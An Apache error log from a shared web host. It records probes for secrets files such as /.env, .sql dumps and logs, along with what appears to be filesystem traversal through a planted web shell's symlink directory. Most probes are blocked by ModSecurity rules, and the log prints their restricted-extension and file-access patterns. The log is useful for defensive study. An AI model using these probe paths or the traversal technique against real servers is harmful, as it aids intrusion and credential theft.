[Mon Oct 26 13:29:30.925246 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fnSpdRPZXM/' is executable
[Mon Oct 26 13:29:30.925266 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/iikh7iS_bx/' is executable
[Mon Oct 26 13:29:30.925286 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pRcXpLxgau/' is executable
[Mon Oct 26 13:29:30.925305 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bxaVZth3VS/' is executable
[Mon Oct 26 13:29:30.925323 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/qoKgRIpeKE/' is executable
[Mon Oct 26 13:29:30.925339 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/FtHSIHY9fJ/' is executable
[Mon Oct 26 13:29:30.925351 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/k7tPBxTQIo/' is executable
[Mon Oct 26 13:29:30.925363 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XP6cTUswRK/' is executable
[Mon Oct 26 13:29:30.925381 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ouS9dGGoxk/' is executable
[Mon Oct 26 13:29:30.925408 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Mon Oct 26 13:29:30.925431 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/mFSuYYVNz9/' is executable
[Mon Oct 26 13:29:30.925450 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/40NmY00D8K/' is executable
[Mon Oct 26 13:29:30.925463 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7SsEHkh7b7/' is executable
[Mon Oct 26 13:29:30.925527 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eLvl5rS_li/' is executable
[Mon Oct 26 13:29:30.925545 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/tQSVI9ghfx/' is executable
[Mon Oct 26 13:29:30.925558 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Mon Oct 26 13:29:30.925576 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Rbnkhw3mMN/' is executable
[Mon Oct 26 13:29:30.925616 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XtfNlSjyV2/' is executable
[Mon Oct 26 13:29:30.925641 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/No9Qeb2GGl/' is executable
[Mon Oct 26 13:29:30.925662 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/DRWsFfNFOJ/' is executable
[Mon Oct 26 13:29:30.925675 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/p_Vpg5SIle/' is executable
[Mon Oct 26 13:29:30.925703 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2qjNiW1LMS/' is executable
[Mon Oct 26 13:29:30.925718 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Y6sES0AEnt/' is executable
[Mon Oct 26 13:29:30.925732 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Mon Oct 26 13:29:31.329790 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 52.207.47.227:4754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:29:35.354243 2026] [ssl:error] [pid 3065807:tid 3065807] (5)Input/output error: [client 3.229.95.193:9018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:29:39.362852 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.194.233.48:15205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:29:47.350952 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.203.152.231:12852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:29:51.345757 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.218.35.239:45217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:29:52.554492 2026] [security2:error] [pid 3068535:tid 3068535] [client 108.84.85.215:39612] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/log/debug.log"] [unique_id "at-OEMx-ulTu8vkh2z0tlwAAAAo"]
[Mon Oct 26 13:29:52.554851 2026] [security2:error] [pid 3068535:tid 3068535] [client 108.84.85.215:39612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/log/debug.log"] [unique_id "at-OEMx-ulTu8vkh2z0tlwAAAAo"]
[Mon Oct 26 13:29:52.556133 2026] [security2:error] [pid 3068535:tid 3068535] [client 108.84.85.215:39612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-OEMx-ulTu8vkh2z0tlwAAAAo"]
[Mon Oct 26 13:29:58.781053 2026] [security2:error] [pid 3064975:tid 3064975] [client 108.84.85.215:39632] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/log/app.log"] [unique_id "at-OFsdX-waAlDqXJHtTfgAAABY"]
[Mon Oct 26 13:29:58.781390 2026] [security2:error] [pid 3064975:tid 3064975] [client 108.84.85.215:39632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/log/app.log"] [unique_id "at-OFsdX-waAlDqXJHtTfgAAABY"]
[Mon Oct 26 13:29:58.782264 2026] [security2:error] [pid 3064975:tid 3064975] [client 108.84.85.215:39632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-OFsdX-waAlDqXJHtTfgAAABY"]
[Mon Oct 26 13:30:03.440795 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.90.8.255:51537] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:30:07.204424 2026] [authz_core:error] [pid 3044299:tid 3044299] [client 85.217.149.41:44308] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 13:30:15.565943 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 34.206.249.188:10829] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:30:23.804349 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.225.81.20:52199] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:30:27.954365 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 54.80.73.122:41285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:30:31.752921 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 98.82.40.168:61729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:30:35.508296 2026] [security2:error] [pid 3068533:tid 3068533] [client 3.223.134.5:41974] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0C0F:03/subsystem/devices/LNXCPU:01/physical_node/driver/cpu0/topology/"] [unique_id "at-OO90iROc0gT_BF3XekQAAAAQ"]
[Mon Oct 26 13:30:35.508388 2026] [security2:error] [pid 3068533:tid 3068533] [client 3.223.134.5:41974] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0C0F:03/subsystem/devices/LNXCPU:01/physical_node/driver/cpu0/topology/"] [unique_id "at-OO90iROc0gT_BF3XekQAAAAQ"]
[Mon Oct 26 13:30:42.590296 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 85.208.96.210:54342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/alloc_calls
[Mon Oct 26 13:30:47.911638 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 44.213.202.136:46531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:30:59.570203 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 35.169.102.85:14152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:03.463129 2026] [security2:error] [pid 3068534:tid 3068534] [client 102.220.163.241:50230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at-OVwKGJNKSlZasCZ1UkgAAAAg"]
[Mon Oct 26 13:31:03.463394 2026] [security2:error] [pid 3068534:tid 3068534] [client 102.220.163.241:50230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at-OVwKGJNKSlZasCZ1UkgAAAAg"]
[Mon Oct 26 13:31:03.464390 2026] [security2:error] [pid 3068534:tid 3068534] [client 102.220.163.241:50230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-OVwKGJNKSlZasCZ1UkgAAAAg"]
[Mon Oct 26 13:31:07.745593 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 54.235.158.162:26109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:11.976522 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.193.2.57:47704] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:19.774529 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 50.17.193.48:48310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:27.880755 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 18.214.238.178:18817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/virtio1/driver/uevent
[Mon Oct 26 13:31:31.873410 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 44.213.202.136:45111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:35.727574 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 18.209.137.234:45084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ehci-pci/new_id
[Mon Oct 26 13:31:39.984146 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 52.6.5.24:11426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:40.922213 2026] [ssl:error] [pid 3058816:tid 3058816] (95)Operation not supported: [client 85.208.96.195:29806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:40.968254 2026] [ssl:error] [pid 3065020:tid 3065020] (95)Operation not supported: [client 85.208.96.195:29810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:44.030253 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.196.237.236:28347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:31:45.320591 2026] [security2:error] [pid 3068534:tid 3068534] [client 41.250.120.48:36348] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/zacsonzf.sql"] [unique_id "at-OgQKGJNKSlZasCZ1UlQAAAAg"], referer: https://parkeranders.com/
[Mon Oct 26 13:31:45.320730 2026] [security2:error] [pid 3068534:tid 3068534] [client 41.250.120.48:36348] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/zacsonzf.sql"] [unique_id "at-OgQKGJNKSlZasCZ1UlQAAAAg"], referer: https://parkeranders.com/
[Mon Oct 26 13:31:45.321335 2026] [security2:error] [pid 3068534:tid 3068534] [client 41.250.120.48:36348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/zacsonzf.sql"] [unique_id "at-OgQKGJNKSlZasCZ1UlQAAAAg"], referer: https://parkeranders.com/
[Mon Oct 26 13:31:45.322486 2026] [security2:error] [pid 3068534:tid 3068534] [client 41.250.120.48:36348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at-OgQKGJNKSlZasCZ1UlQAAAAg"], referer: https://parkeranders.com/
[Mon Oct 26 13:31:55.839305 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 23.21.204.95:26011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:32:07.860033 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 18.209.137.234:36382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:32:12.036788 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.156.124.2:38659] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:32:16.631721 2026] [security2:error] [pid 3064975:tid 3064975] [client 16.216.88.13:4097] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /beta/vendor/phpmailer/phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at-OoMdX-waAlDqXJHtTgQAAABY"]
[Mon Oct 26 13:32:16.632035 2026] [security2:error] [pid 3064975:tid 3064975] [client 16.216.88.13:4097] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at-OoMdX-waAlDqXJHtTgQAAABY"]
